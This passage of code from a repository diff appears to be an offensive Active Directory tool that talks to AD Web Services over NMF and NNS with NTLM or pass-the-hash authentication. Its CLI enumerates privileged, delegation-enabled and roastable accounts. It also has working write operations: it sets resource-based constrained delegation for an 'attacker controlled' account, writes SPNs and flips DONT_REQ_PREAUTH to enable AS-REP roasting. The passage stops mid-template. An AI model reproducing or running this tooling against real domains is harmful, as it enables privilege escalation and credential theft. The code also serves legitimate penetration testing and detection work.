def __init__(self, data: None | bytes = None):
impacket.structure.Structure.__init__(self, data=data)
if not data:
self["record_type"] = RecordType.PREAMBLE_ACK
class NMFPreamble(NMFRecord):
structure = (
("version", ":"),
("mode", ":"),
("via", ":"),
("encoding", ":"),
)
def __init__(
self,
version: tuple[int, int] = (1, 1),
mode: int = 0,
via: str = "",
encoding: int = 0,
):
impacket.structure.Structure.__init__(self)
self["version"] = NMFVersion(*version).getData()
self["mode"] = NMFMode(mode).getData()
self["via"] = NMFVia(via).getData()
self["encoding"] = NMFKnownEncoding(encoding).getData()
class NMFConnection:
def __init__(
self,
nns: NNS,
fqdn: str,
mode: int = Mode.DUPLEX,
encoding: int = KnownEncoding.SOAP1_2_BINARY_INBAND_DICT,
):
"""
Args:
nns (NNS): NNS Connection object
fqdn (str): FQDN of endpoint we wish to talk to
"""
self._nns: NNS = nns
self._sock: socket.socket = nns._sock
# before being upgraded, the transport is raw socket
self._transport: NNS | socket.socket = self._sock
self._mode = mode
self._encoding = encoding
self._fqdn = fqdn
self._encoder = Encoder(self._encoding)
def _throw_if_not(self, expected: Type[NMFRecord], got: NMFRecord):
"""Allows for quick validation of expected responses. If not expected
checks for fault, and throws
Args:
expected (NMFRecord): the type you expected
got (NMFRecord): what you have
"""
if not isinstance(got, expected):
if isinstance(got, NMFFault):
raise ConnectionError(got["fault"])
raise ConnectionError(
f"Unexpected server response. Expected {expected['record_type']}, got {got['record_type']}"
)
def _upgrade(self):
"""Upgrade if using NNS for transport,
otherwise do nothing. This allows for support
of unauthenticated transport for things like MEX
"""
if not isinstance(self._nns, NNS):
return
NMFUpgradeRequest().send(self._transport)
# wait for ack
self._throw_if_not(NMFUpgradeResponse, self._recv())
# nns auth
self._nns.auth_ntlm()
# switch to upgraded transport now
self._transport = self._nns
def connect(self, resource: str):
"""Establish connection to server. Set up all the communication
channels that are nessisary to begin data exchanges.
Send NMF preamble
Upgrade to NNS
NNS Auth
End NMF preamble
Args:
resource (str): Resource to request in the via
Raises:
NMFServerFault: Raises when the server ack upgrade request
or the preamble end, indicating connection falure.
"""
# send the preamble
NMFPreamble(
version=(1, 0),
mode=self._mode,
via=f"net.tcp://{self._fqdn}:9389/ActiveDirectoryWebServices/{resource}",
encoding=self._encoding,
).send(self._transport)
self._upgrade()
# preamble end
NMFPreambleEnd().send(self._transport)
# wait for ack
self._throw_if_not(NMFPreambleAck, self._recv())
def _end_record(self) -> None:
"""Send an end record"""
NMFEnd().send(self._transport)
def send(self, data: str):
"""Send data to server in an envelope msg. This assumes that
the current mode is duplex or simplex.
Args:
data (str): data to send
"""
encoding_data: bytes = self._encoder.encode(data)
NMFSizedEnvelope(payload=encoding_data).send(self._transport)
def recv(self) -> str:
"""Receive data from the transport mechanism. Automatically
decodes the data based on selected transport encoding
type.
Returns:
(str): received and decoded data
Raises:
NMFServerFault: Raises if not data transport msg
"""
pkt = self._recv()
self._throw_if_not(NMFSizedEnvelope, pkt)
return self._encoder.decode(pkt["payload"])
def _recv(self) -> NMFRecord:
"""Read a packet from the network transport layer and
return the object version of the packet
Returns:
NMFRecord: Correct NMF object
"""
jump_table = {
0x0: NMFVersion,
0x1: NMFMode,
0x2: NMFVia,
0x3: NMFKnownEncoding,
0x4: NMFExtensibleEncoding,
0x5: NMFUnsizedEnvelope,
0x6: NMFSizedEnvelope,
0x7: NMFEnd,
0x8: NMFFault,
0x9: NMFUpgradeRequest,
0xA: NMFUpgradeResponse,
0xB: NMFPreambleAck,
0xC: NMFPreambleEnd,
}
data: bytes = self._transport.recv(4096)
record_type: int = data[0]
# simplifed object factory, takes type and returns NMFRecords
return jump_table.get(record_type, NMFUnknownRecord)(data=data)
+434
View File
@@ -0,0 +1,434 @@
import logging
import socket
import impacket.examples.logger
import impacket.ntlm
import impacket.spnego
import impacket.structure
from Cryptodome.Cipher import ARC4
from impacket.hresult_errors import ERROR_MESSAGES
from .encoder.records.utils import Net7BitInteger
def hexdump(data, length=16):
def to_ascii(byte):
if 32 <= byte <= 126:
return chr(byte)
else:
return "."
def format_line(offset, line_bytes):
hex_part = " ".join(f"{byte:02X}" for byte in line_bytes)
ascii_part = "".join(to_ascii(byte) for byte in line_bytes)
return f"{offset:08X} {hex_part:<{length*3}} {ascii_part}"
lines = []
for i in range(0, len(data), length):
line_bytes = data[i : i + length]
lines.append(format_line(i, line_bytes))
return "\n".join(lines)
class NNS_pkt(impacket.structure.Structure):
structure: tuple[tuple[str, str], ...]
def send(self, sock: socket.socket):
sock.sendall(self.getData())
class NNS_handshake(NNS_pkt):
structure = (
("message_id", ">B"),
("major_version", ">B"),
("minor_version", ">B"),
("payload_len", ">H-payload"),
("payload", ":"),
)
# During negotitiate, payload will be the GSSAPI, containing SPNEGO
# w/ NTLMSSP for NTLM or
# w/ krb5_blob for the AP REQ)
# For NTLM
# NNS Headers
# |_ Payload ( GSS-API )
# |_ SPNEGO ( NegTokenInit )
# |_ NTLMSSP
# For Kerberos
# NNS Headers
# |_ Payload ( GSS-API )
# |_ SPNEGO ( NegTokenInit )
# |_ krb5_blob
# |_ Kerberos ( AP REQ )
###
# During challenge, payload will be the GSSAPI, containing SPNEGO
# w/ NTLMSSP for NTLM or
# w/ krb5_blob for the AP REQ)
# For NTLM
# NNS Headers
# |_ Payload ( GSS-API, SPNEGO, no GSS-API headers )
# |_ NegTokenTarg ( NegTokenResp )
# |_ NTLMSSP
def __init__(
self, message_id: int, major_version: int, minor_version: int, payload: bytes
):
impacket.structure.Structure.__init__(self)
self["message_id"] = message_id
self["major_version"] = major_version
self["minor_version"] = minor_version
self["payload"] = payload
class NNS_data(NNS_pkt):
# NNS data message, used after auth is completed
structure = (
("payload_size", "<L-payload"),
("payload", ":"),
)
class NNS_Signed_payload(impacket.structure.Structure):
structure = (
("signature", ":"),
("cipherText", ":"),
)
class MessageID:
IN_PROGRESS: int = 0x16
ERROR: int = 0x15
DONE: int = 0x14
class NNS:
"""[MS-NNS]: .NET NegotiateStream Protocol
The .NET NegotiateStream Protocol provides mutually authenticated
and confidential communication over a TCP connection.
It defines a framing mechanism used to transfer (GSS-API) security tokens
between a client and server. It also defines a framing mechanism used
to transfer signed and/or encrypted application data once the GSS-API
security context initialization has completed.
"""
def __init__(
self,
socket: socket.socket,
fqdn: str,
domain: str,
username: str,
password: str | None = None,
nt: str = "",
lm: str = "",
):
self._sock = socket
self._nt = self._fix_hashes(nt)
self._lm = self._fix_hashes(lm)
self._username = username
self._password = password
self._domain = domain
self._fqdn = fqdn
self._session_key: bytes = b""
self._flags: int = -1
self._sequence: int = 0
def _fix_hashes(self, hash: str | bytes) -> bytes | str:
"""fixes up hash if present into bytes and
ensures length is 32.
If no hash is present, returns empty bytes
Args:
hash (str | bytes): nt or lm hash
Returns:
bytes: bytes version
"""
if not hash:
return ""
if len(hash) % 2:
hash = hash.zfill(32)
return bytes.fromhex(hash) if isinstance(hash, str) else hash
def seal(self, data: bytes) -> tuple[bytes, bytes]:
"""seals data with the current context
Args:
data (bytes): bytes to seal
Returns:
tuple[bytes, bytes]: output_data, signature
"""
server = bool(
self._flags & impacket.ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
)
output, sig = impacket.ntlm.SEAL(
self._flags,
self._server_signing_key if server else self._client_signing_key,
self._server_sealing_key if server else self._client_sealing_key,
data,
data,
self._sequence,
self._server_sealing_handle if server else self._client_sealing_handle,
)
return output, sig.getData()
def recv(self, _: int = 0) -> bytes:
"""Recive an NNS packet and return the entire
decrypted contents.
The paramiter is used to allow interoperability with socket.socket.recv.
Does not respect any passed buffer sizes.
Args:
_ (int, optional): For interoperability with socket.socket. Defaults to 0.
Returns:
bytes: unsealed nns message
"""
first_pkt = self._recv()
# if it isnt an envelope, throw it back
if first_pkt[0] != 0x06:
return first_pkt
nmfsize, nmflenlen = Net7BitInteger.decode7bit(first_pkt[1:])
# its all just one packet
if nmfsize < 0xFC30:
return first_pkt
# otherwise, we have a multi part message
pkt = first_pkt
nmfsize -= len(first_pkt[nmflenlen:])
while nmfsize > 0:
thisFragment = self._recv()
pkt += thisFragment
nmfsize -= len(thisFragment)
return pkt
def _recv(self, _: int = 0) -> bytes:
"""Recive an NNS packet and return the entire
decrypted contents.
The paramiter is used to allow interoperability with socket.socket.recv.
Does not respect any passed buffer sizes.
"""
nns_data = NNS_data()
size = int.from_bytes(self._sock.recv(4), "little")
payload = b""
while len(payload) != size:
payload += self._sock.recv(size - len(payload))
nns_data["payload"] = payload
nns_signed_payload = NNS_Signed_payload()
nns_signed_payload["signature"] = nns_data["payload"][0:16]
nns_signed_payload["cipherText"] = nns_data["payload"][16:]
clearText, sig = self.seal(nns_signed_payload["cipherText"])
return clearText
def sendall(self, data: bytes):
"""send to server in NTLM sealed NNS data packet via tcp socket.
Args:
data (bytes): utf-16le encoded payload data
"""
cipherText, sig = impacket.ntlm.SEAL(
self._flags,
self._client_signing_key,
self._client_sealing_key,
data,
data,
self._sequence,
self._client_sealing_handle,
)
# build the NNS data packet to use
pkt = NNS_data()
# then we build the payload, which is the signature prepended
# on the actual ciphertext. This goes in the payload of
# the NNS data packet
payload = NNS_Signed_payload()
payload["signature"] = sig
payload["cipherText"] = cipherText
pkt["payload"] = payload.getData()
self._sock.sendall(pkt.getData())
# and we increment the sequence number after sending
self._sequence += 1
def auth_ntlm(self) -> None:
"""Authenticate to the dest with NTLMV2 authentication"""
# Initial negotiation sent from client
NegTokenInit: impacket.spnego.SPNEGO_NegTokenInit
NtlmSSP_nego: impacket.ntlm.NTLMAuthNegotiate
# Generate a NTLMSSP
NtlmSSP_nego = impacket.ntlm.getNTLMSSPType1(
workstation="", # These fields don't get populated for some reason
domain="", # These fields don't get populated for some reason
signingRequired=True, # TODO: Somehow determine this; can we send a Negotiate Protocol Request and derive this dynamically?
use_ntlmv2=True, # TODO: See above comment
)
# Generate the NegTokenInit
# Impacket has this inherit from GSSAPI, so we will also have the OID and other headers :D
NegTokenInit = impacket.spnego.SPNEGO_NegTokenInit()
NegTokenInit["MechTypes"] = [
impacket.spnego.TypesMech[
"NTLMSSP - Microsoft NTLM Security Support Provider"
],
impacket.spnego.TypesMech["MS KRB5 - Microsoft Kerberos 5"],
impacket.spnego.TypesMech["KRB5 - Kerberos 5"],
impacket.spnego.TypesMech[
"NEGOEX - SPNEGO Extended Negotiation Security Mechanism"
],
]
NegTokenInit["MechToken"] = NtlmSSP_nego.getData()
# Fit it all into an NNS NTLMSSP_NEGOTIATE Message
# Begin authentication ( NTLMSSP_NEGOTIATE )
NNS_handshake(
message_id=MessageID.IN_PROGRESS,
major_version=1,
minor_version=0,
payload=NegTokenInit.getData(),
).send(self._sock)
# Response with challenge from server
NNS_msg_chall: NNS_handshake
s_NegTokenTarg: impacket.spnego.SPNEGO_NegTokenResp
NTLMSSP_chall: impacket.ntlm.NTLMAuthChallenge
# Receive the NNS NTLMSSP_Challenge
NNS_msg_chall = NNS_handshake(
message_id=int.from_bytes(self._sock.recv(1), "big"),
major_version=int.from_bytes(self._sock.recv(1), "big"),
minor_version=int.from_bytes(self._sock.recv(1), "big"),
payload=self._sock.recv(int.from_bytes(self._sock.recv(2), "big")),
)
# Extract the NegTokenResp ( NegTokenTarg )
# Note: Potentially consider SupportedMech from s_NegTokenTarg for determining stuff like signing?
s_NegTokenTarg = impacket.spnego.SPNEGO_NegTokenResp(NNS_msg_chall["payload"])
# Create an NtlmAuthChallenge from the NTLMSSP ( ResponseToken )
NTLMSSP_chall = impacket.ntlm.NTLMAuthChallenge(s_NegTokenTarg["ResponseToken"])
# TODO: see if this is relevant https://github.com/fortra/impacket/blob/15eff8805116007cfb59332a64194a5b9c8bcf25/impacket/smb3.py#L1015
# if NTLMSSP_chall[ 'TargetInfoFields_len' ] > 0:
# av_pairs = impacket.ntlm.AV_PAIRS( NTLMSSP_chall[ 'TargetInfoFields' ][ :NTLMSSP_chall[ 'TargetInfoFields_len' ] ] )
# if av_pairs[ impacket.ntlm.NTLMSSP_AV_HOSTNAME ] is not None:
# print( "TODO AV PAIRS IDK IF ITS RELEVANT" )
# Response with authentication from client
c_NegTokenTarg: impacket.spnego.SPNEGO_NegTokenResp
NTLMSSP_chall_resp: impacket.ntlm.NTLMAuthChallengeResponse
# Create the NTLMSSP challenge response
# If password is used, then the lm and nt hashes must be pass
# an empty str, NOT, empty byte str.......
NTLMSSP_chall_resp, self._session_key = impacket.ntlm.getNTLMSSPType3(
type1=NtlmSSP_nego,
type2=NTLMSSP_chall.getData(),
user=self._username,
password=self._password,
domain=self._domain,
lmhash=self._lm,
nthash=self._nt,
)
# set up info for crypto
self._flags = NTLMSSP_chall_resp["flags"]
self._sequence = 0
if self._flags & impacket.ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
logging.debug("We are doing extended ntlm security")
self._client_signing_key = impacket.ntlm.SIGNKEY(
self._flags, self._session_key
)
self._server_signing_key = impacket.ntlm.SIGNKEY(
self._flags, self._session_key, "Server"
)
self._client_sealing_key = impacket.ntlm.SEALKEY(
self._flags, self._session_key
)
self._server_sealing_key = impacket.ntlm.SEALKEY(
self._flags, self._session_key, "Server"
)
# prepare keys to handle states
cipher1 = ARC4.new(self._client_sealing_key)
self._client_sealing_handle = cipher1.encrypt
cipher2 = ARC4.new(self._server_sealing_key)
self._server_sealing_handle = cipher2.encrypt
else:
logging.debug("We are doing basic ntlm auth")
# same key for both ways
self._client_signing_key = self._session_key
self._server_signing_key = self._session_key
self._client_sealing_key = self._session_key
self._server_sealing_key = self._session_key
cipher = ARC4.new(self._client_sealing_key)
self._client_sealing_handle = cipher.encrypt
self._server_sealing_handle = cipher.encrypt
# Fit the challenge response into the ResponseToken of our NegTokenTarg
c_NegTokenTarg = impacket.spnego.SPNEGO_NegTokenResp()
c_NegTokenTarg["ResponseToken"] = NTLMSSP_chall_resp.getData()
# Fit our challenge response into an NNS message
# Send the NTLMSSP_AUTH ( challenge response )
NNS_handshake(
message_id=MessageID.IN_PROGRESS,
major_version=1,
minor_version=0,
payload=c_NegTokenTarg.getData(),
).send(self._sock)
# Response from server ending handshake
NNS_msg_done: NNS_handshake
# Check for success
NNS_msg_done = NNS_handshake(
message_id=int.from_bytes(self._sock.recv(1), "big"),
major_version=int.from_bytes(self._sock.recv(1), "big"),
minor_version=int.from_bytes(self._sock.recv(1), "big"),
payload=self._sock.recv(int.from_bytes(self._sock.recv(2), "big")),
)
# check for errors
if NNS_msg_done["message_id"] == 0x15:
err_type, err_msg = ERROR_MESSAGES[
int.from_bytes(NNS_msg_done["payload"], "big")
]
raise SystemExit(f"[-] NTLM Auth Failed with error {err_type} {err_msg}")
+557
View File
@@ -0,0 +1,557 @@
import argparse
import logging
import sys
from base64 import b64decode, b64encode
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.ldap.ldaptypes import (
ACCESS_ALLOWED_ACE,
ACCESS_MASK,
ACE,
ACL,
LDAP_SID,
SR_SECURITY_DESCRIPTOR,
)
from src.adws import ADWSConnect, NTLMAuth
from src.soap_templates import NAMESPACES
# https://github.com/fortra/impacket/blob/829239e334fee62ace0988a0cb5284233d8ec3c4/examples/rbcd.py#L180
def _create_empty_sd():
sd = SR_SECURITY_DESCRIPTOR()
sd["Revision"] = b"\x01"
sd["Sbz1"] = b"\x00"
sd["Control"] = 32772
sd["OwnerSid"] = LDAP_SID()
# BUILTIN\Administrators
sd["OwnerSid"].fromCanonical("S-1-5-32-544")
sd["GroupSid"] = b""
sd["Sacl"] = b""
acl = ACL()
acl["AclRevision"] = 4
acl["Sbz1"] = 0
acl["Sbz2"] = 0
acl.aces = []
sd["Dacl"] = acl
return sd
# https://github.com/fortra/impacket/blob/829239e334fee62ace0988a0cb5284233d8ec3c4/examples/rbcd.py#L200
def _create_allow_ace(sid: LDAP_SID):
nace = ACE()
nace["AceType"] = ACCESS_ALLOWED_ACE.ACE_TYPE
nace["AceFlags"] = 0x00
acedata = ACCESS_ALLOWED_ACE()
acedata["Mask"] = ACCESS_MASK()
acedata["Mask"]["Mask"] = 983551 # Full control
acedata["Sid"] = sid.getData()
nace["Ace"] = acedata
return nace
def getAccountDN(
target: str,
username: str,
ip: str,
domain: str,
auth: NTLMAuth,
):
"""Get an LDAP objects distinguishedName attribute to be used in write operations
Args:
target (str): target samAccountName
username (str): user to authenticate as
ip (str): the ip of the domain controller
domain (str): the domain name
auth (NTLMAuth): authentication method
"""
get_account_query = f"(samAccountName={target})"
pull_client = ADWSConnect.pull_client(ip, domain, username, auth)
attributes: list = [
"distinguishedname",
]
pull_et = pull_client.pull(query=get_account_query, attributes=attributes)
for item in pull_et.findall(".//addata:user", namespaces=NAMESPACES):
distinguishedName_elem = item.find(
".//addata:distinguishedName/ad:value", namespaces=NAMESPACES
)
dn = distinguishedName_elem.text
return dn
def set_spn(
target: str,
value: str,
username: str,
ip: str,
domain: str,
auth: NTLMAuth,
remove: bool = False,
):
"""Set a value in servicePrincipalName. Appends value to the
attribute rather than replacing.
Args:
target (str): target samAccountName
value (str): value to append to the targets servicePrincipalName
username (str): user to authenticate as
ip (str): the ip of the domain controller
auth (NTLMAuth): authentication method
remove (bool): Whether to remove the value
"""
dn = getAccountDN(target=target,username=username,ip=ip,domain=domain,auth=auth)
put_client = ADWSConnect.put_client(ip, domain, username, auth)
put_client.put(
object_ref=dn,
operation="add" if not remove else "delete",
attribute="addata:servicePrincipalName",
data_type="string",
value=value,
)
print(
f"[+] servicePrincipalName {value} {'removed' if remove else 'written'} successfully on {target}!"
)
def set_asrep(
target: str,
username: str,
ip: str,
domain: str,
auth: NTLMAuth,
remove: bool = False,
):
"""Set the DONT_REQ_PREAUTH (0x400000) flag on the target accounts
userAccountControl attribute.
Args:
target (str): target samAccountName
username (str): user to authenticate as
ip (str): the ip of the domain controller
auth (NTLMAuth): authentication method
remove (bool): Whether to remove the value
"""
"""First get current userAccountControl value"""
get_accounts_queries = f"(sAMAccountName={target})"
pull_client = ADWSConnect.pull_client(ip, domain, username, auth)
attributes: list = [
"userAccountControl",
"distinguishedName",
]
pull_et = pull_client.pull(query=get_accounts_queries, attributes=attributes)
for item in pull_et.findall(".//addata:user", namespaces=NAMESPACES):
uac = item.find(
".//addata:userAccountControl/ad:value",
namespaces=NAMESPACES,
)
distinguishedName_elem = item.find(
".//addata:distinguishedName/ad:value", namespaces=NAMESPACES
)
dn = distinguishedName_elem.text
"""Then write"""
put_client = ADWSConnect.put_client(ip, domain, username, auth)
if not remove:
newUac = int(uac.text) | 0x400000
put_client.put(
object_ref=dn,
operation="replace",
attribute="addata:userAccountControl",
data_type="string",
value=newUac,
)
else:
newUac = int(uac.text) & ~0x400000
put_client.put(
object_ref=dn,
operation="replace",
attribute="addata:userAccountControl",
data_type="string",
value=newUac,
)
print(
f"[+] DONT_REQ_PREAUTH {'removed' if remove else 'written'} successfully!"
)
def set_rbcd(
target: str,
account: str,
username: str,
ip: str,
domain: str,
auth: NTLMAuth,
remove: bool = False,
):
"""Write RBCD. Safe, appends to the attribute rather than
replacing. Pass the remove param to remove the account sid from the
target security descriptor
Args:
target (str): target samAccountName
account (str): attacker controlled samAccountName
username (str): user to authenticate as
ip (str): the ip of the domain controller
domain (str): specified account domain
auth (NTLMAuth): authentication method
remove (bool): Whether to remove the value
"""
get_accounts_queries = f"(|(sAMAccountName={target})(sAMAccountName={account}))"
pull_client = ADWSConnect.pull_client(ip, domain, username, auth)
"""Build attrs for RBCD computer pull"""
attributes: list = [
"samaccountname",
"objectsid",
"distinguishedname",
"msds-allowedtoactonbehalfofotheridentity",
]
pull_et = pull_client.pull(query=get_accounts_queries, attributes=attributes)
target_sd: SR_SECURITY_DESCRIPTOR = _create_empty_sd()
target_dn: str = ""
account_sid: LDAP_SID | None = None
for item in pull_et.findall(".//addata:computer", namespaces=NAMESPACES):
sam_name_elem = item.find(
".//addata:sAMAccountName/ad:value", namespaces=NAMESPACES
)
sd_elem = item.find(
".//addata:msDS-AllowedToActOnBehalfOfOtherIdentity/ad:value",
namespaces=NAMESPACES,
)
sid_elem = item.find(".//addata:objectSid/ad:value", namespaces=NAMESPACES)
distinguishedName_elem = item.find(
".//addata:distinguishedName/ad:value", namespaces=NAMESPACES
)
sam_name = sam_name_elem.text if sam_name_elem != None else ""
sid = sid_elem.text if sid_elem != None else ""
sd = sd_elem.text if sd_elem != None else ""
dn = distinguishedName_elem.text if distinguishedName_elem != None else ""
if sam_name and sid and sam_name.casefold() == account.casefold():
account_sid = LDAP_SID(data=b64decode(sid))
if dn and sam_name and sam_name.casefold() == target.casefold():
target_dn = dn
if sd:
target_sd = SR_SECURITY_DESCRIPTOR(data=b64decode(sd))
if not account_sid:
logging.critical(
f"Unable to find {target} or {account}."
)
raise SystemExit()
# collect a clean list. remove the account sid if its present
target_sd["Dacl"].aces = [
ace
for ace in target_sd["Dacl"].aces
if ace["Ace"]["Sid"].formatCanonical() != account_sid.formatCanonical()
]
if not remove:
target_sd["Dacl"].aces.append(_create_allow_ace(account_sid))
put_client = ADWSConnect.put_client(ip, domain, username, auth)
put_client.put(
object_ref=target_dn,
operation="replace",
attribute="addata:msDS-AllowedToActOnBehalfOfOtherIdentity",
data_type="base64Binary",
value=b64encode(target_sd.getData()).decode("utf-8"),
)
# if we are removing and the list of aces is empty, just delete the attribute
if remove and len(target_sd["Dacl"].aces) == 0:
put_client.put(
object_ref=target_dn,
operation="delete",
attribute="addata:msDS-AllowedToActOnBehalfOfOtherIdentity",
data_type="base64Binary",
value=b64encode(target_sd.getData()).decode("utf-8"),
)
print(
f"[+] msDS-AllowedToActOnBehalfOfIdentity {'removed' if remove else 'written'} successfully!"
)
print(f"[+] {account} {'can not' if remove else 'can'} delegate to {target}")
def run_cli():
print("""
███████╗ ██████╗ █████╗ ██████╗ ██╗ ██╗
██╔════╝██╔═══██╗██╔══██╗██╔══██╗╚██╗ ██╔╝
███████╗██║ ██║███████║██████╔╝ ╚████╔╝
╚════██║██║ ██║██╔══██║██╔═══╝ ╚██╔╝
███████║╚██████╔╝██║ ██║██║ ██║
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝
""")
parser = argparse.ArgumentParser(
add_help=True,
description="Enumerate and write LDAP objects over ADWS using the SOAP protocol",
)
parser.add_argument(
"connection",
action="store",
help="domain/username[:password]@<targetName or address>",
)
parser.add_argument(
"--debug",
action="store_true",
help="Turn DEBUG output ON"
)
parser.add_argument(
"--ts",
action="store_true",
help="Adds timestamp to every logging output."
)
parser.add_argument(
"--hash",
action="store",
metavar="nthash",
help="Use an NT hash for authentication",
)
enum = parser.add_argument_group('Enumeration')
enum.add_argument(
"--users",
action="store_true",
help="Enumerate user objects"
)
enum.add_argument(
"--computers",
action="store_true",
help="Enumerate computer objects"
)
enum.add_argument(
"--groups",
action="store_true",
help="Enumerate group objects"
)
enum.add_argument(
"--constrained",
action="store_true",
help="Enumerate objects with the msDS-AllowedToDelegateTo attribute set",
)
enum.add_argument(
"--unconstrained",
action="store_true",
help="Enumerate objects with the TRUSTED_FOR_DELEGATION flag set",
)
enum.add_argument(
"--spns",
action="store_true",
help="Enumerate accounts with the servicePrincipalName attribute set"
)
enum.add_argument(
"--asreproastable",
action="store_true",
help="Enumerate accounts with the DONT_REQ_PREAUTH flag set"
)
enum.add_argument(
"--admins",
action="store_true",
help="Enumerate high privilege accounts"
)
enum.add_argument(
"--rbcds",
action="store_true",
help="Enumerate accounts with msDs-AllowedToActOnBehalfOfOtherIdentity set"
)
enum.add_argument(
"-q",
"--query",
action="store",
metavar="query",
help="Raw query to execute on the target",
)
enum.add_argument(
"--filter",
action="store",
metavar="attr,attr,...",
help="Attributes to select from the objects returned, in a comma seperated list",
)
writing = parser.add_argument_group('Writing')
writing.add_argument(
"--rbcd",
action="store",
metavar="source",
help="Operation to write or remove RBCD. Also used to pass in the source computer account used for the attack.",
)
writing.add_argument(
"--spn",
action="store",
metavar="value",
help='Operation to write the servicePrincipalName attribute value, writes by default unless "--remove" is specified',
)
writing.add_argument(
"--asrep",
action="store_true",
help="Operation to write the DONT_REQ_PREAUTH (0x400000) userAccountControl flag on a target object"
)
writing.add_argument(
"--account",
action="store",
metavar="account",
help="Account to preform an operation on",
)
writing.add_argument(
"--remove",
action="store_true",
help="Operarion to remove an attribute value based off an operation",
)
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
logger.init(options.ts)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
domain, username, password, remoteName = parse_target(options.connection)
if domain is None:
domain = ""
# if there are no supplied auth information, ask for a password interactivly
if password == "" and username != "" and options.hash is None:
from getpass import getpass
password = getpass("Password:")
queries: dict[str, str] = {
"users": "(&(objectClass=user)(objectCategory=person))",
"computers": "(objectClass=computer)",
"constrained": "(msds-allowedtodelegateto=*)",
"unconstrained": "(userAccountControl:1.2.840.113556.1.4.803:=524288)",
"spns": "(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))",
"asreproastable":"(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))",
"admins": "(&(objectClass=user)(adminCount=1))",
"groups": "(objectCategory=group)",
"rbcds": "(msds-allowedtoactonbehalfofotheridentity=*)",
}
"""Just check if anything is specified"""
ldap_query = []
ldap_query.append(options.query)
for flag, this_query in queries.items():
if getattr(options, flag):
ldap_query.append(this_query)
if not domain:
logging.critical('"domain" must be specified')
raise SystemExit()
if not username:
logging.critical('"username" must be specified')
raise SystemExit()
auth = NTLMAuth(password=password, hashes=options.hash)
if options.rbcd != None:
if not options.account:
logging.critical(
'"--rbcd" must be used with "--account"'
)
raise SystemExit()
set_rbcd(
ip=remoteName,
domain=domain,
target=options.account,
account=options.rbcd,
username=username,
auth=auth,
remove=options.remove,
)
elif options.spn != None:
if not options.account:
logging.critical(
'Please specify an account with "--account"'
)
raise SystemExit()
set_spn(
ip=remoteName,
domain=domain,
target=options.account,
value=options.spn,
username=username,
auth=auth,
remove=options.remove
)
elif options.asrep:
if not options.account:
logging.critical(
'Please specify an account with "--account"'
)
raise SystemExit()
set_asrep(
ip=remoteName,
domain=domain,
target=options.account,
username=username,
auth=auth,
remove=options.remove
)
else:
if not ldap_query:
logging.critical("Query can not be None")
raise SystemExit()
client = ADWSConnect.pull_client(
ip=remoteName,
domain=domain,
username=username,
auth=auth,
)
for current_query in ldap_query:
if not current_query:
continue
"""
client = ADWSConnect.pull_client(
ip=remoteName,
domain=domain,
username=username,
auth=auth,
)
"""
if options.filter is not None:
attributes: list = [x.strip() for x in options.filter.split(",")]
else:
attributes = ["samaccountname", "distinguishedName", "objectsid"]
client.pull(current_query, attributes, print_incrementally=True)
if __name__ == "__main__":
run_cli()
+104
View File
@@ -0,0 +1,104 @@
NAMESPACES = {
"ad": "http://schemas.microsoft.com/2008/1/ActiveDirectory",
"addata": "http://schemas.microsoft.com/2008/1/ActiveDirectory/Data",
"adlq": "http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/LdapQuery",
"da": "http://schemas.microsoft.com/2006/11/IdentityManagement/DirectoryAccess",
"ca": "http://schemas.microsoft.com/2008/1/ActiveDirectory/CustomActions",
"soapenv": "http://www.w3.org/2003/05/soap-envelope",
"wsa": "http://www.w3.org/2005/08/addressing",
"wsen": "http://schemas.xmlsoap.org/ws/2004/09/enumeration",
"wxf": "http://schemas.xmlsoap.org/ws/2004/09/transfer",
"xsd": "http://www.w3.org/2001/XMLSchema",
"xsi": "http://www.w3.org/2001/XMLSchema-instance",
"s": "http://www.w3.org/2003/05/soap-envelope",
"a": "http://www.w3.org/2005/08/addressing",
}
LDAP_QUERY_FSTRING: str = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
xmlns:a="http://www.w3.org/2005/08/addressing"
xmlns:addata="http://schemas.microsoft.com/2008/1/ActiveDirectory/Data"
xmlns:ad="http://schemas.microsoft.com/2008/1/ActiveDirectory"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2004/09/enumeration/Enumerate</a:Action>
<ad:instance>ldap:389</ad:instance>
<a:MessageID>urn:uuid:{uuid}</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">net.tcp://{fqdn}:9389/ActiveDirectoryWebServices/Windows/Enumeration</a:To>
</s:Header>
<s:Body xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration"
xmlns:adlq="http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/LdapQuery">
<wsen:Enumerate>
<wsen:Filter Dialect="http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/LdapQuery">
<adlq:LdapQuery>
<adlq:Filter>{query}</adlq:Filter>
<adlq:BaseObject>{baseobj}</adlq:BaseObject>
<adlq:Scope>Subtree</adlq:Scope>
</adlq:LdapQuery>
</wsen:Filter>
<ad:Selection Dialect="http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/XPath-Level-1">
{attributes}
</ad:Selection>
</wsen:Enumerate>
</s:Body>
</s:Envelope>"""
LDAP_PULL_FSTRING: str = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
xmlns:a="http://www.w3.org/2005/08/addressing"
xmlns:addata="http://schemas.microsoft.com/2008/1/ActiveDirectory/Data"
xmlns:ad="http://schemas.microsoft.com/2008/1/ActiveDirectory"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
